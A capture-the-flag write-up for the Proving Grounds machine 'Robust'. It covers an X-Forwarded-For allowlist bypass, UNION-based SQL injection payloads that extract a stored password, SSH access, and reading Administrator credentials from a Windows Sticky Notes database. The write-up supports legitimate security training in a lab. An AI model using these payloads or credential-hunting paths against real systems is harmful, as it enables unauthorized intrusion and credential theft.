Skip to content
HackIndex.io

Robust Writeup - Proving Grounds

Easy Windows
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

The Husky Hacker

sysadmin

Robust runs a PHP employee management application gated by an IP allowlist. Spoofing the trusted address with an X-Forwarded-For header unlocks a hidden employee search page vulnerable to UNION-based SQL injection, which leaks a user's password straight out of the database. On the box, that account's AppData folder holds a Windows Sticky Notes database with the Administrator's password written in plain text.

Reconnaissance

Nmap

Scan all TCP ports.

┌──(kali㉿kali)-[~]
└─$ nmap -Pn -n -sC -sV -p- --open $TARGET_IP 
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH for_Windows_8.1 (protocol 2.0)
80/tcp   open  http    PHP cli server 5.5 or later (PHP 7.3.33)
7680/tcp open  pando-pub?
Explain command
-p- Scan all 65535 TCP ports.

Windows SSH, a PHP development server on 80, and Windows Update Delivery Optimization on 7680 (not exploitable). Port 80 is the only real surface.

Web enumeration

Browsing to the root redirects to login.php, which shows an access-denied message naming one specific allowed IP address.

Exploitation

X-Forwarded-For header bypass

The IP check trusts a client-supplied header instead of the real connection source. Add it in Burp Repeater.

PS C:\Users\Guest\Desktop> GET /login.php HTTP/1.1
PS C:\Users\Guest\Desktop> Host: $TARGET_IP
PS C:\Users\Guest\Desktop> X-Forwarded-For: 10.10.10.1 
HTTP/1.1 200 OK
...
<title>Robust Employee Manager</title>

Spoofing the trusted address renders the real login page instead of the access-denied message.

Directory discovery

Fuzz for other PHP pages while keeping the bypass header set.

┌──(kali㉿kali)-[~]
└─$ wfuzz -H "X-Forwarded-For: 10.10.10.1" --sc 302 -u http://$TARGET_IP/FUZZ.php -w /usr/share/wordlists/wfuzz/general/big.txt 
home.php    [Status: 302, Size: 0]
Explain command
-H Add the IP-bypass header to every fuzzed request.
--sc 302 Only show responses with this status code.

home.php redirects back to login.php, but the response body still carries the full page behind that redirect. Stripping the Location header (or following the redirect) in Repeater renders a Manage Employees page: an employee table with Id, First name, Last name and Birth date columns, plus a name-based search form.

UNION-based SQL injection

The search form is injectable. Determine the column count first.

┌──(kali㉿kali)-[~]
└─$ first_name=' UNION SELECT 1,2,3,4,5-- -&last_name=&action=search 
No error -> 5 columns

Five columns render with no error, one more than the four visible in the table, so a hidden password column sits in position five. Place it into a column that is actually displayed to read it.

┌──(kali㉿kali)-[~]
└─$ first_name=' UNION SELECT id,password,last_name,birth_date,5 FROM employees WHERE first_name='Jeff'-- -&last_name=&action=search 
First name column for Jeff's row: $JEFF_PASSWORD

Jeff's password comes back in the "First name" display position. Try it over SSH.

SSH as jeff

┌──(kali㉿kali)-[~]
└─$ ssh jeff@$TARGET_IP 
jeff@$TARGET_IP's password:
jeff@ROBUST C:\Users\Jeff> whoami
robust\jeff

Shell as jeff. WinPEAS turns up minimal attack surface, so enumerate AppData by hand.

Privilege Escalation

Windows Sticky Notes credential leak

The Sticky Notes app stores its content in a local SQLite database.

PS C:\Users\Guest\Desktop> type C:\Users\Jeff\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite 
Credentials:
Administrator:$ADMIN_PASSWORD

The binary SQLite file still contains readable plaintext strings, and one note stores the Administrator's password outright. Windows Sticky Notes (plum.sqlite) is a well-known credential-hunting location on Windows post-exploitation. Try the leaked password over SSH.

┌──(kali㉿kali)-[~]
└─$ ssh administrator@$TARGET_IP 
administrator@$TARGET_IP's password:
administrator@ROBUST C:\Users\Administrator> whoami
robust\administrator

The Sticky Notes leak hands over a shell as Administrator.

Related

Union-Based SQL Injection Exploitation
Blog

Union-Based SQL Injection Exploitation
Access Control Testing
Blog

Access Control Testing

Tests HTTP/HTTPS endpoints for broken access control flaws, including privilege escalation, IDOR, an...
Windows Credential Hunting for Privilege Escalation
Blog

Windows Credential Hunting for Privilege Escalation

Techniques for locating stored credentials in Windows registries, files, memory, and configs to esca...
Credential hunting in files
Blog

Credential hunting in files

Techniques for locating stored credentials in Linux files, configs, logs, and history files during p...